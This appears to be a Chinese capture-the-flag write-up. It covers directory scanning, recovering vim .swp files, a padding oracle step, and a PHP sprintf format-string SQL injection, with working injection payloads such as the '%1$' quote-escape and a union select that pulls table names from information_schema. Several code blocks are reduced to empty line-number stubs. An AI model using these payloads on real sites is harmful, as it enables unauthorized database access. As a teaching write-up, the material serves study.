0x01 扫描目录 & 源码泄露
- 御剑后台扫描工具
下载地址:http://www.moonsec.com/post-753.html
AWVS
脚本扫描
swp文件恢复:
非正常关闭vi编辑器时会生成一个.swp文件
关于swp文件
使用vi,经常可以看到swp这个文件,那这个文件是怎么产生的呢,当你打开一个文件,vi就会生成这么一个.(filename)swp文件 以备不测(不测下面讨论),如果你正常退出,那么这个这个swp文件将会自动删除 。下面说不测。
不测分为:
- 当你用多个程序编辑同一个文件时。
- 非常规退出时。
第一种情况的话,为了避免同一个文件产生两个不同的版本(vim中的原话),还是建议选择readonly为好。
第二种情况的话,你可以用vim -r filename恢复,然后再把swp文件删除(这个时候要确保你的swp文件没有用处了,要不然你会伤心的)
swp文件的来历,当你强行关闭vi时,比如电源突然断掉或者你使用了Ctrl+ZZ,vi自动生成一个.swp文件,下次你再编辑时,就会出现一些提示。
你可以使用
vi -r {your file name}
0x02 Padding Oracle Attack
1 | # -*- coding:utf-8 -*- |
1 | PHPSESSION:h1frvln4me27ponpjt9vk8o5o1 |
修改token,成功登陆进后台,admin源码:
1 |
|
在看到sprintf后,可以很直接的联系到前阵子爆出的关于wordpress的格式化字符串SQL注入漏洞。传送门: 从WordPress SQLi谈PHP格式化字符串问题(2017.11.01更新)
PHP格式化字符串漏洞
基于泄露出的源码,添加一些变量打印语句,本地测试代码:
1 | <?php |
payload:
1 | http://127.0.0.1:2500/index.php?id=1&title=flag%1$'%20 or 1=1%23 |
观察传入的title参数。
title传入的值为flag%1$' or 1=1#
,经过mysql_real_escape_string
,会使得单引号'
前加上斜杠,也就是图片中的第四行:
1 | escape string tile: $title => flag%1$\' or 1=1# |
接下来执行一次sprintf("AND title='%s'", $title);
,也就是将前面得到的title值title值为:
1 | After first sprintf : $title => AND title='flag%1$\' or 1=1#' |
接下来,又一次执行了sprintf
:
1 | sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id); |
由于PHP的sprintf中,%1$\
这样的语法,百分号%
后面的数表示使用第几个参数,$
后面的表示类型,常见的类型比如s
表示字符串等等。比如%1$s
,表示使用第一个参数,类型为字符串(%s)
1 | <?php |
前两个示例是演示选择参数的用法。第三个和前两个比较,变成类型%\
,会直接跳过不处理,并直接输出。第四个和第三个对比,少了参数选择,这会导致报错,无法正常打印。
回到前面的sprintf
1 | sprintf("SELECT * FROM article WHERE id='%s' AND title='flag%1$\' or 1=1#'", $id); |
通过百分号后的1,选择了一个参数(即id)不会爆错。利用类型%\
,使得跳过。而原本在\
后面的单引号,由于前面斜杠被当作了sprintf的类型,得以成功逃逸。
剩下的工作就是payload的编写了
测试payload:?id=0&title=%1$%27%20union%20select%201,2,3%23
1 | #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" #注表名 |
Note
这里有两个坑:
#
号在url编码中为保留字符,浏览器在进行urlencode的时候不会对它进行编码,因此需要手工写成%23
如果一个保留字符在特定上下文中具有特殊含义(称作”reserved purpose”) , 且URI中必须使用该字符用于其它目的, 那么该字符必须百分号编码. 百分号编码一个保留字符,首先需要把该字符的ASCII的值表示为两个16进制的数字,然后在其前面放置转义字符(“
%
“),置入URI中的相应位置。(对于非ASCII字符, 需要转换为UTF-8字节序, 然后每个字节按照上述方式表示.)key
这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。